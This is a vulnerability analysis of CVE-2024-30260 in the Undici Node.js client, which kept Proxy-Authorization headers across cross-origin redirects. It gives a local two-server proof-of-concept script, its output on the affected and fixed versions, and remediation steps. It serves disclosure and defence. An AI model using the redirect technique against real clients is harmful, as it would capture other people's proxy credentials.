This analysis independently reproduces the publicly documented CVE-2024-30260 behavior; see references.

Summary

Undici’s request() API retained the Proxy-Authorization header while following a cross-origin redirect. An application that supplied proxy credentials and enabled automatic redirects could therefore send those credentials to the redirect destination.

The Undici maintainers rated the issue Low, with a CVSS 3.1 score of 3.9. The narrow prerequisites support that rating: an application must explicitly set the header, allow redirects, and receive a redirect to another origin.

FieldValue
ProductUndici for Node.js
IdentifierCVE-2024-30260 / GHSA-m4v8-wqvr-p9f7
ClassSensitive header exposure across origins
SeverityLow — CVSS 3.1: 3.9
Reproduced withUndici 5.28.3
Fixed releases5.28.4 and 6.11.1
StatusFixed

Impact

A server that can make the client follow a redirect to an attacker-observed origin may receive the value of the client’s Proxy-Authorization header. Depending on how that header is populated, the value can contain reusable proxy credentials.

This is not an unconditional credential leak. The vulnerable path requires all of the following:

  1. the application uses an affected Undici redirect path such as request();
  2. Proxy-Authorization is present on the request;
  3. automatic redirect following is enabled with maxRedirections; and
  4. the first server returns a redirect to a different origin.

Technical details

Undici already removed Authorization and Cookie when its redirect handler detected a different origin. The same filter did not include Proxy-Authorization, so that header remained in the request headers used for the next hop.

The upstream fix added proxy-authorization to the redirect handler’s removal list and added a regression test covering a cross-origin redirect. Because the filter is shared by Undici’s redirect handling, the vendor advisory names the dispatch, request, stream, and pipeline APIs.

Proof of concept

The following script starts two HTTP servers on different loopback ports. Different ports make them different origins. The first server redirects to the second, which prints the header it receives.

'use strict'

const { createServer } = require('node:http')
const { once } = require('node:events')
const { request } = require('undici')

async function listen (server) {
  server.listen(0, '127.0.0.1')
  await once(server, 'listening')
  return server.address().port
}

async function main () {
  const destination = createServer((req, res) => {
    console.log(`destination received: ${req.headers['proxy-authorization']}`)
    res.end('ok')
  })
  const destinationPort = await listen(destination)

  const redirector = createServer((req, res) => {
    res.writeHead(302, {
      Location: `http://127.0.0.1:${destinationPort}/landing`
    })
    res.end()
  })
  const redirectorPort = await listen(redirector)

  try {
    const response = await request(`http://127.0.0.1:${redirectorPort}/start`, {
      maxRedirections: 1,
      headers: {
        // "sample:secret" in base64; this is not a real credential.
        'Proxy-Authorization': 'Basic c2FtcGxlOnNlY3JldA=='
      }
    })
    await response.body.text()
  } finally {
    redirector.close()
    destination.close()
  }
}

main().catch(error => {
  console.error(error)
  process.exitCode = 1
})

Install the vulnerable version and run the script:

$ npm install undici@5.28.3
$ node reproduce.js
destination received: Basic c2FtcGxlOnNlY3JldA==

After upgrading to 5.28.4, the same destination no longer receives the header:

$ npm install undici@5.28.4
$ node reproduce.js
destination received: undefined

Remediation

Upgrade to Undici 5.28.4, 6.11.1, or a later supported release. The vendor’s temporary workarounds were to use fetch() or disable automatic redirects by removing or setting maxRedirections to zero.

Applications should also avoid attaching proxy credentials to requests unless they are required and treat any cross-origin redirect as a new trust decision.

Public resolution timeline

  • 2024-04-02: The upstream fix and regression test were committed.
  • 2024-04-04: The Undici security advisory was published with CVE-2024-30260.
  • 2026-08-23: The behavior shown above was rechecked locally with 5.28.3 and 5.28.4 for this analysis.

References